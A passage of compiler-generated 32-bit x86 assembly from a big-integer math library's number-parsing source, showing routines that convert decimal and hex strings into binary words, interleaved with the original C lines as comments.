; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+4], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+8]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+8], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+12]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+12], eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 352 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI32, value);
mov edx, OFFSET _statistics_info+4
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 352 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI32, value);
mov eax, 4
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 507 : u_buf += 4;
add ecx, 16 ; 00000010H
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 352 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI32, value);
lock xadd DWORD PTR [edx], eax
$LN637@MultiplyAn:
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 516 : if (u_count & 0x2)
test bl, 2
je SHORT $LN661@MultiplyAn
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+4]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+4], eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 352 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI32, value);
mov edx, 2
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 352 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI32, value);
mov eax, OFFSET _statistics_info+4
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 520 : u_buf += 2;
add ecx, 8
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 352 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI32, value);
lock xadd DWORD PTR [eax], edx
$LN661@MultiplyAn:
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 529 : if (u_count & 0x1)
test bl, 1
je SHORT $LN675@MultiplyAn
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
mov edi, edx
mov DWORD PTR [ecx], eax
adc edi, 0
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 532 : u_buf += 1;
add ecx, 4
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 329 : _InterlockedIncrement(&statistics_info.COUNT_MULTI32);
lock inc (null) PTR _statistics_info+4
$LN675@MultiplyAn:
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 541 : if (k > 0)
test edi, edi
je SHORT $LN680@MultiplyAn
; 542 : {
; 543 : u_buf[0] = k;
mov DWORD PTR [ecx], edi
; 544 : u_buf += 1;
lea eax, DWORD PTR [ecx+4]
pop edi
; 545 : }
; 546 :
; 547 : return (u_buf);
; 548 : }
pop esi
pop ebx
pop ebp
ret 0
$LN680@MultiplyAn:
pop edi
pop esi
mov eax, ecx
pop ebx
pop ebp
ret 0
_MultiplyAndAdd_using_ADC_MUL ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; COMDAT _MultiplyAndAdd1Word_using_ADCX_MULX
_TEXT SEGMENT
_k$ = 8 ; size = 4
_u$ = 12 ; size = 4
_w_buf$ = 16 ; size = 4
_MultiplyAndAdd1Word_using_ADCX_MULX PROC ; COMDAT
; 393 : {
push ebp
mov ebp, esp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov ecx, DWORD PTR _w_buf$[ebp]
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR _u$[ebp]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, DWORD PTR _k$[ebp]
mov DWORD PTR [ecx], eax
mov eax, 0
adcx eax, edx
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 405 : }
pop ebp
ret 0
_MultiplyAndAdd1Word_using_ADCX_MULX ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; COMDAT _MultiplyAndAdd1Word_using_ADC_MUL
_TEXT SEGMENT
_k$ = 8 ; size = 4
_u$ = 12 ; size = 4
_w_buf$ = 16 ; size = 4
_MultiplyAndAdd1Word_using_ADC_MUL PROC ; COMDAT
; 378 : {
push ebp
mov ebp, esp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 215 : return (_addcarry_u32(carry, u, v, w));
mov ecx, DWORD PTR _w_buf$[ebp]
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR _u$[ebp]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, DWORD PTR _k$[ebp]
mov DWORD PTR [ecx], eax
adc edx, 0
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 389 : return (k);
mov eax, edx
; 390 : }
pop ebp
ret 0
_MultiplyAndAdd1Word_using_ADC_MUL ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; COMDAT _BuildBinaryFromDecimalString
_TEXT SEGMENT
_in_ptr$1$ = -20 ; size = 4
tv603 = -16 ; size = 4
tv604 = -12 ; size = 4
tv618 = -8 ; size = 4
_source_count$1$ = -8 ; size = 4
_out_ptr$1$ = -4 ; size = 4
_source$ = 8 ; size = 4
_out_buf$ = 12 ; size = 4
_out_buf_count$ = 16 ; size = 4
_BuildBinaryFromDecimalString PROC ; COMDAT
; 350 : {
push ebp
mov ebp, esp
sub esp, 20 ; 00000014H
push ebx
; 351 : #ifdef _M_IX86
; 352 : int word_digit_count = 9;
; 353 : #elif defined(_M_IX64)
; 354 : int word_digit_count = 19;
; 355 : #else
; 356 : #error unknown platform
; 357 : #endif
; 358 : wchar_t* in_ptr = source;
; 359 : __UNIT_TYPE* out_ptr = out_buf;
mov ebx, DWORD PTR _out_buf$[ebp]
push esi
; 360 : __UNIT_TYPE source_count = lstrlenW(source);
mov esi, DWORD PTR _source$[ebp]
push edi
push esi
mov DWORD PTR _out_ptr$1$[ebp], ebx
call DWORD PTR __imp__lstrlenW@4
; 361 : int r = source_count % word_digit_count;
xor edx, edx
mov ecx, eax
mov edi, 9
mov DWORD PTR _source_count$1$[ebp], ecx
div edi
; 362 : if (r > 0)
test edx, edx
jle SHORT $LN17@BuildBinar
; 303 : __UNIT_TYPE x = 0;
xor eax, eax
; 363 : {
; 364 : *out_ptr++ = BuildLeading1WordFromDecimalString(in_ptr, r);
mov edi, edx
; 304 : while (count > 0)
test edx, edx
je SHORT $LN8@BuildBinar
$LL7@BuildBinar:
; 305 : {
; 306 : x = x * 10 + (*in_ptr++ - L'0');
lea ecx, DWORD PTR [eax+eax*4]
movzx eax, WORD PTR [esi]
lea esi, DWORD PTR [esi+2]
lea eax, DWORD PTR [eax+ecx*2]
add eax, -48 ; ffffffd0H
; 307 : --count;
sub edi, 1
jne SHORT $LL7@BuildBinar
mov ecx, DWORD PTR _source_count$1$[ebp]
$LN8@BuildBinar:
; 365 : in_ptr += r;
mov esi, DWORD PTR _source$[ebp]
mov DWORD PTR [ebx], eax
add ebx, 4
mov DWORD PTR _out_ptr$1$[ebp], ebx
; 366 : source_count -= r;
sub ecx, edx
lea esi, DWORD PTR [esi+edx*2]
mov DWORD PTR _source$[ebp], esi
$LN17@BuildBinar:
; 367 : }
; 368 : while (source_count > 0)
test ecx, ecx
je $LN3@BuildBinar
dec ecx
mov eax, 954437177 ; 38e38e39H
mul ecx
mov eax, edx
shr eax, 1
inc eax
mov DWORD PTR tv618[ebp], eax
$LL2@BuildBinar:
; 334 : x = x * 10 + (*in_ptr++ - L'0');
movzx eax, WORD PTR [esi+10]
lea ecx, DWORD PTR [esi+2]
movzx esi, WORD PTR [ecx]
movzx edx, WORD PTR [ecx+2]
movzx ebx, WORD PTR [ecx+6]
movzx edi, WORD PTR [ecx+4]
mov DWORD PTR tv604[ebp], eax
; 335 : }
; 336 : if (sizeof(__UNIT_TYPE) >= sizeof(_UINT16_T))
; 337 : {
; 338 : x = x * 10 + (*in_ptr++ - L'0');
movzx eax, WORD PTR [ecx+10]
add ecx, 12 ; 0000000cH
mov DWORD PTR tv603[ebp], eax
mov eax, DWORD PTR _source$[ebp]
mov DWORD PTR _in_ptr$1$[ebp], ecx
movzx eax, WORD PTR [eax]
; 339 : x = x * 10 + (*in_ptr++ - L'0');
lea ecx, DWORD PTR [eax+eax*4]
; 340 : }
; 341 : if (sizeof(__UNIT_TYPE) >= sizeof(_BYTE_T))
; 342 : {
; 343 : x = x * 10 + (*in_ptr++ - L'0');
lea eax, DWORD PTR [esi+ecx*2]
; 371 : in_ptr += word_digit_count;
mov esi, DWORD PTR _source$[ebp]
; 343 : x = x * 10 + (*in_ptr++ - L'0');
lea ecx, DWORD PTR [eax+eax*4]
; 371 : in_ptr += word_digit_count;
add esi, 18 ; 00000012H
; 343 : x = x * 10 + (*in_ptr++ - L'0');
lea eax, DWORD PTR [edx+ecx*2]
; 371 : in_ptr += word_digit_count;
mov DWORD PTR _source$[ebp], esi
; 343 : x = x * 10 + (*in_ptr++ - L'0');
lea ecx, DWORD PTR [eax+eax*4]
mov edx, DWORD PTR _in_ptr$1$[ebp]
lea eax, DWORD PTR [edi+ecx*2]
lea ecx, DWORD PTR [eax+eax*4]
lea eax, DWORD PTR [ebx+ecx*2]
; 369 : {
; 370 : *out_ptr++ = Build1WordFromDecimalString(in_ptr);
mov ebx, DWORD PTR _out_ptr$1$[ebp]
; 343 : x = x * 10 + (*in_ptr++ - L'0');
lea ecx, DWORD PTR [eax+eax*4]
mov eax, DWORD PTR tv604[ebp]
movzx eax, ax
lea eax, DWORD PTR [eax+ecx*2]
lea ecx, DWORD PTR [eax+eax*4]
mov eax, DWORD PTR tv603[ebp]
movzx eax, ax
lea eax, DWORD PTR [eax+ecx*2]
lea ecx, DWORD PTR [eax+eax*4]
movzx eax, WORD PTR [edx]
lea eax, DWORD PTR [eax+ecx*2]
lea ecx, DWORD PTR [eax+eax*4]
movzx eax, WORD PTR [edx+2]
lea eax, DWORD PTR [eax+ecx*2]
add eax, -1038366032 ; c21bcab0H
; 369 : {
; 370 : *out_ptr++ = Build1WordFromDecimalString(in_ptr);
mov DWORD PTR [ebx], eax
add ebx, 4
sub DWORD PTR tv618[ebp], 1
mov DWORD PTR _out_ptr$1$[ebp], ebx
jne $LL2@BuildBinar
$LN3@BuildBinar:
; 372 : source_count -= word_digit_count;
; 373 : }
; 374 : *out_buf_count = out_ptr - out_buf;
sub ebx, DWORD PTR _out_buf$[ebp]
mov eax, DWORD PTR _out_buf_count$[ebp]
pop edi
sar ebx, 2
pop esi
mov DWORD PTR [eax], ebx
pop ebx
; 375 : }
mov esp, ebp
pop ebp
ret 0
_BuildBinaryFromDecimalString ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; COMDAT _Build1WordFromDecimalString
_TEXT SEGMENT
tv383 = -8 ; size = 4
tv384 = -4 ; size = 4
_in_ptr$ = 8 ; size = 4
_Build1WordFromDecimalString PROC ; COMDAT
; 313 : {
push ebp
mov ebp, esp
sub esp, 8
; 314 : __UNIT_TYPE x = (*in_ptr++ - L'0');
mov ecx, DWORD PTR _in_ptr$[ebp]
push ebx
push esi
push edi
movzx eax, WORD PTR [ecx]
add ecx, 2
; 315 : if (sizeof(__UNIT_TYPE) >= sizeof(_UINT64_T))
; 316 : {
; 317 : x = x * 10 + (*in_ptr++ - L'0');
; 318 : x = x * 10 + (*in_ptr++ - L'0');
; 319 : x = x * 10 + (*in_ptr++ - L'0');
; 320 : x = x * 10 + (*in_ptr++ - L'0');
; 321 : x = x * 10 + (*in_ptr++ - L'0');
; 322 : x = x * 10 + (*in_ptr++ - L'0');
; 323 : x = x * 10 + (*in_ptr++ - L'0');
; 324 : x = x * 10 + (*in_ptr++ - L'0');
; 325 : x = x * 10 + (*in_ptr++ - L'0');
; 326 : x = x * 10 + (*in_ptr++ - L'0');
; 327 : }
; 328 : if (sizeof(__UNIT_TYPE) >= sizeof(_UINT32_T))
; 329 : {
; 330 : x = x * 10 + (*in_ptr++ - L'0');
movzx edx, WORD PTR [ecx]
; 331 : x = x * 10 + (*in_ptr++ - L'0');
movzx esi, WORD PTR [ecx+2]
; 332 : x = x * 10 + (*in_ptr++ - L'0');
movzx edi, WORD PTR [ecx+4]
; 333 : x = x * 10 + (*in_ptr++ - L'0');
movzx ebx, WORD PTR [ecx+6]
add ecx, 8
mov DWORD PTR _in_ptr$[ebp], ecx
; 334 : x = x * 10 + (*in_ptr++ - L'0');
movzx ecx, WORD PTR [ecx]
mov DWORD PTR tv384[ebp], ecx
mov ecx, DWORD PTR _in_ptr$[ebp]
add ecx, 2
mov DWORD PTR _in_ptr$[ebp], ecx
; 335 : }
; 336 : if (sizeof(__UNIT_TYPE) >= sizeof(_UINT16_T))
; 337 : {
; 338 : x = x * 10 + (*in_ptr++ - L'0');
add DWORD PTR _in_ptr$[ebp], 2
movzx ecx, WORD PTR [ecx]
mov DWORD PTR tv383[ebp], ecx
; 339 : x = x * 10 + (*in_ptr++ - L'0');
lea ecx, DWORD PTR [eax+eax*4]
; 340 : }
; 341 : if (sizeof(__UNIT_TYPE) >= sizeof(_BYTE_T))
; 342 : {
; 343 : x = x * 10 + (*in_ptr++ - L'0');
lea eax, DWORD PTR [edx+ecx*2]
mov edx, DWORD PTR _in_ptr$[ebp]
lea ecx, DWORD PTR [eax+eax*4]
lea eax, DWORD PTR [esi+ecx*2]
lea ecx, DWORD PTR [eax+eax*4]
lea eax, DWORD PTR [edi+ecx*2]
lea ecx, DWORD PTR [eax+eax*4]
lea eax, DWORD PTR [ebx+ecx*2]
lea ecx, DWORD PTR [eax+eax*4]
mov eax, DWORD PTR tv384[ebp]
movzx eax, ax
; 344 : }
; 345 : return (x);
pop edi
pop esi
pop ebx
lea eax, DWORD PTR [eax+ecx*2]
lea ecx, DWORD PTR [eax+eax*4]
mov eax, DWORD PTR tv383[ebp]
movzx eax, ax
lea eax, DWORD PTR [eax+ecx*2]
lea ecx, DWORD PTR [eax+eax*4]
movzx eax, WORD PTR [edx]
lea eax, DWORD PTR [eax+ecx*2]
lea ecx, DWORD PTR [eax+eax*4]
movzx eax, WORD PTR [edx+2]
lea eax, DWORD PTR [eax+ecx*2]
add eax, -1038366032 ; c21bcab0H
; 346 : }
mov esp, ebp
pop ebp
ret 0
_Build1WordFromDecimalString ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; COMDAT _BuildLeading1WordFromDecimalString
_TEXT SEGMENT
_in_ptr$ = 8 ; size = 4
_count$ = 12 ; size = 4
_BuildLeading1WordFromDecimalString PROC ; COMDAT
; 302 : {
push ebp
mov ebp, esp
push esi
; 303 : __UNIT_TYPE x = 0;
; 304 : while (count > 0)
mov esi, DWORD PTR _count$[ebp]
xor eax, eax
test esi, esi
je SHORT $LN3@BuildLeadi
mov edx, DWORD PTR _in_ptr$[ebp]
$LL2@BuildLeadi:
; 305 : {
; 306 : x = x * 10 + (*in_ptr++ - L'0');
lea ecx, DWORD PTR [eax+eax*4]
movzx eax, WORD PTR [edx]
lea edx, DWORD PTR [edx+2]
lea eax, DWORD PTR [eax+ecx*2]
add eax, -48 ; ffffffd0H
; 307 : --count;
sub esi, 1
jne SHORT $LL2@BuildLeadi
$LN3@BuildLeadi:
pop esi
; 308 : }
; 309 : return (x);
; 310 : }
pop ebp
ret 0
_BuildLeading1WordFromDecimalString ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; COMDAT _ParseAsHexNumberString
_TEXT SEGMENT
_state$ = -84 ; size = 80
__$ArrayPad$ = -4 ; size = 4
_in_ptr$ = 8 ; size = 4
_number_styles$ = 12 ; size = 4
_format_option$ = 16 ; size = 4
_int_part_buf$ = 20 ; size = 4
_ParseAsHexNumberString PROC ; COMDAT
; 287 : {
push ebp
mov ebp, esp
sub esp, 84 ; 00000054H
mov eax, DWORD PTR ___security_cookie
xor eax, ebp
mov DWORD PTR __$ArrayPad$[ebp], eax
mov eax, DWORD PTR _format_option$[ebp]
push ebx
; 288 : struct __tag_PARSER_STATE state;
; 289 : InitializeParserState(&state, in_ptr, number_styles, format_option, int_part_buf, NULL);
mov ebx, DWORD PTR _number_styles$[ebp]
push 0
push DWORD PTR _int_part_buf$[ebp]
push eax
push ebx
push DWORD PTR _in_ptr$[ebp]
lea eax, DWORD PTR _state$[ebp]
push eax
call _InitializeParserState
add esp, 24 ; 00000018H
; 290 : if (number_styles & PMC_NUMBER_STYLE_ALLOW_LEADING_WHITE)
test bl, 1
je SHORT $LN38@ParseAsHex
; 113 : switch (*state->IN_PTR)
mov ecx, DWORD PTR _state$[ebp]
movzx eax, WORD PTR [ecx]
cmp eax, 9
jb SHORT $LN38@ParseAsHex
npad 3
$LL7@ParseAsHex:
cmp eax, 13 ; 0000000dH
jbe SHORT $LN12@ParseAsHex
cmp eax, 32 ; 00000020H
jne SHORT $LN38@ParseAsHex
$LN12@ParseAsHex:
; 114 : {
; 115 : case L' ':
; 116 : case L'\t':
; 117 : case L'\n':
; 118 : case L'\r':
; 119 : case L'\f':
; 120 : case L'\v':
; 121 : break;
; 122 :
; 123 : default:
; 124 : return;
; 125 : }
; 126 : state->IN_PTR += 1;
add ecx, 2
mov DWORD PTR _state$[ebp], ecx
movzx eax, WORD PTR [ecx]
cmp eax, 9
jae SHORT $LL7@ParseAsHex
$LN38@ParseAsHex:
; 291 : SkipSpace(&state);
; 292 : ParseAsIntegerPartNumberSequence(&state);
lea eax, DWORD PTR _state$[ebp]
push eax
call _ParseAsIntegerPartNumberSequence
; 293 : if (number_styles & PMC_NUMBER_STYLE_ALLOW_TRAILING_WHITE)
mov eax, DWORD PTR _state$[ebp]
add esp, 4
test bl, 2
pop ebx
je SHORT $LN30@ParseAsHex
; 113 : switch (*state->IN_PTR)
movzx ecx, WORD PTR [eax]
cmp ecx, 9
jb SHORT $LN30@ParseAsHex
$LL16@ParseAsHex:
cmp ecx, 13 ; 0000000dH
jbe SHORT $LN21@ParseAsHex
cmp ecx, 32 ; 00000020H
jne SHORT $LN30@ParseAsHex
$LN21@ParseAsHex:
; 114 : {
; 115 : case L' ':
; 116 : case L'\t':
; 117 : case L'\n':
; 118 : case L'\r':
; 119 : case L'\f':
; 120 : case L'\v':
; 121 : break;
; 122 :
; 123 : default:
; 124 : return;
; 125 : }
; 126 : state->IN_PTR += 1;
add eax, 2
mov DWORD PTR _state$[ebp], eax
movzx ecx, WORD PTR [eax]
cmp ecx, 9
jae SHORT $LL16@ParseAsHex
$LN30@ParseAsHex:
; 294 : SkipSpace(&state);
; 295 : if (*state.IN_PTR != L'\0')
cmp WORD PTR [eax], 0
je SHORT $LN4@ParseAsHex
; 296 : return (0);
xor eax, eax
; 297 : FinalizeParserState(&state);
; 298 : return (1);
; 299 : }
mov ecx, DWORD PTR __$ArrayPad$[ebp]
xor ecx, ebp
call @__security_check_cookie@4
mov esp, ebp
pop ebp
ret 0
$LN4@ParseAsHex:
; 103 : *state->INT_PART_PTR = L'\0';
mov eax, DWORD PTR _state$[ebp+72]
xor ecx, ecx
mov WORD PTR [eax], cx
; 104 : if (state->NUMBER_STYLES & PMC_NUMBER_STYLE_ALLOW_DECIMAL_POINT)
test BYTE PTR _state$[ebp+4], 32 ; 00000020H
je SHORT $LN25@ParseAsHex
; 105 : *state->FRAC_PART_PTR = L'\0';
mov eax, DWORD PTR _state$[ebp+76]
mov WORD PTR [eax], cx
$LN25@ParseAsHex:
; 297 : FinalizeParserState(&state);
; 298 : return (1);
; 299 : }
mov ecx, DWORD PTR __$ArrayPad$[ebp]
mov eax, 1
xor ecx, ebp
call @__security_check_cookie@4
mov esp, ebp
pop ebp
ret 0
_ParseAsHexNumberString ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; COMDAT _ParseAsDecimalNumberString
_TEXT SEGMENT
_sign$GSCopy$1$ = -88 ; size = 4
_state$ = -84 ; size = 80
__$ArrayPad$ = -4 ; size = 4
_in_ptr$ = 8 ; size = 4
_number_styles$ = 12 ; size = 4
_format_option$ = 16 ; size = 4
_sign$ = 20 ; size = 4
_int_part_buf$ = 24 ; size = 4
_frac_part_buf$ = 28 ; size = 4
_ParseAsDecimalNumberString PROC ; COMDAT
; 190 : {
push ebp
mov ebp, esp
sub esp, 88 ; 00000058H
mov eax, DWORD PTR ___security_cookie
xor eax, ebp
mov DWORD PTR __$ArrayPad$[ebp], eax
mov eax, DWORD PTR _format_option$[ebp]
mov ecx, DWORD PTR _sign$[ebp]
push ebx
; 191 : struct __tag_PARSER_STATE state;
; 192 : InitializeParserState(&state, in_ptr, number_styles, format_option, int_part_buf, frac_part_buf);
mov ebx, DWORD PTR _number_styles$[ebp]
push esi
push edi
push DWORD PTR _frac_part_buf$[ebp]
mov DWORD PTR _sign$GSCopy$1$[ebp], ecx
push DWORD PTR _int_part_buf$[ebp]
push eax
push ebx
push DWORD PTR _in_ptr$[ebp]
lea eax, DWORD PTR _state$[ebp]
push eax
call _InitializeParserState
; 193 : if (number_styles & PMC_NUMBER_STYLE_ALLOW_LEADING_WHITE)
mov esi, DWORD PTR _state$[ebp]
add esp, 24 ; 00000018H
test bl, 1
je SHORT $LN61@ParseAsDec
; 113 : switch (*state->IN_PTR)
movzx eax, WORD PTR [esi]
cmp eax, 9
jb SHORT $LN61@ParseAsDec
$LL33@ParseAsDec:
cmp eax, 13 ; 0000000dH
jbe SHORT $LN38@ParseAsDec
cmp eax, 32 ; 00000020H
jne SHORT $LN61@ParseAsDec
$LN38@ParseAsDec:
; 114 : {
; 115 : case L' ':
; 116 : case L'\t':
; 117 : case L'\n':
; 118 : case L'\r':
; 119 : case L'\f':
; 120 : case L'\v':
; 121 : break;
; 122 :
; 123 : default:
; 124 : return;
; 125 : }
; 126 : state->IN_PTR += 1;
add esi, 2
mov DWORD PTR _state$[ebp], esi
movzx eax, WORD PTR [esi]
cmp eax, 9
jae SHORT $LL33@ParseAsDec
$LN61@ParseAsDec:
; 194 : SkipSpace(&state);
; 195 : if ((number_styles & PMC_NUMBER_STYLE_ALLOW_PARENTHESES) && *state.IN_PTR == L'(')
test bl, 16 ; 00000010H
je SHORT $LN3@ParseAsDec
cmp WORD PTR [esi], 40 ; 00000028H
jne SHORT $LN3@ParseAsDec
; 196 : {
; 197 : state.SIGN = -1;
; 198 : state.IN_PTR += 1;
add esi, 2
mov DWORD PTR _state$[ebp+8], -1
mov DWORD PTR _state$[ebp], esi
movzx eax, WORD PTR [esi]
; 199 : if (*state.IN_PTR >= L'0' && *state.IN_PTR <= L'9')
cmp eax, 48 ; 00000030H
jb SHORT $LN5@ParseAsDec
cmp eax, 57 ; 00000039H
ja SHORT $LN5@ParseAsDec
; 200 : ParseAsIntegerPartNumberSequence(&state);
lea eax, DWORD PTR _state$[ebp]
push eax
call _ParseAsIntegerPartNumberSequence
mov esi, DWORD PTR _state$[ebp]
add esp, 4
$LN5@ParseAsDec:
; 201 : if ((number_styles & PMC_NUMBER_STYLE_ALLOW_DECIMAL_POINT) && StartsWith(state.IN_PTR, state.DECIMAL_SEPARATOR))
test bl, 32 ; 00000020H
je SHORT $LN6@ParseAsDec
lea eax, DWORD PTR _state$[ebp+36]
push eax
push esi
call _StartsWith
add esp, 8
test eax, eax
je SHORT $LN6@ParseAsDec
; 202 : {
; 203 : state.IN_PTR += state.DECIMAL_SEPARATOR_LENGTH;
mov eax, DWORD PTR _state$[ebp+44]
lea eax, DWORD PTR [esi+eax*2]
mov DWORD PTR _state$[ebp], eax
; 204 : ParseAsFractionPartNumberSequence(&state);
lea eax, DWORD PTR _state$[ebp]
push eax
call _ParseAsFractionPartNumberSequence
mov esi, DWORD PTR _state$[ebp]
add esp, 4
$LN6@ParseAsDec:
; 205 : }
; 206 : if (*state.IN_PTR != L')')
cmp WORD PTR [esi], 41 ; 00000029H
jne $LN23@ParseAsDec
; 207 : return (0);
; 208 : state.IN_PTR += 1;
add esi, 2
mov DWORD PTR _state$[ebp], esi
; 209 : }
jmp $LN27@ParseAsDec
$LN3@ParseAsDec:
; 210 : else if ((number_styles & PMC_NUMBER_STYLE_ALLOW_LEADING_SIGN) && StartsWith(state.IN_PTR, state.POSITIVE_SIGN))
test bl, 4
je $LN12@ParseAsDec
; 63 : while (*b != L'\0')
mov ax, WORD PTR _state$[ebp+12]
; 210 : else if ((number_styles & PMC_NUMBER_STYLE_ALLOW_LEADING_SIGN) && StartsWith(state.IN_PTR, state.POSITIVE_SIGN))
lea ecx, DWORD PTR _state$[ebp+12]
; 63 : while (*b != L'\0')
test ax, ax
je SHORT $LN43@ParseAsDec
movzx edx, ax
mov edi, esi
mov eax, ecx
sub edi, eax
$LL42@ParseAsDec:
; 64 : {
; 65 : if (*a != *b)
cmp WORD PTR [edi+ecx], dx
jne SHORT $LN8@ParseAsDec
; 66 : return (0);
; 67 : ++a;
; 68 : ++b;
movzx eax, WORD PTR [ecx+2]
add ecx, 2
mov edx, eax
test ax, ax
jne SHORT $LL42@ParseAsDec
$LN43@ParseAsDec:
; 211 : {
; 212 : state.SIGN = 1;
; 213 : state.IN_PTR += state.POSITIVE_SIGN_LENGTH;
mov eax, DWORD PTR _state$[ebp+20]
mov DWORD PTR _state$[ebp+8], 1
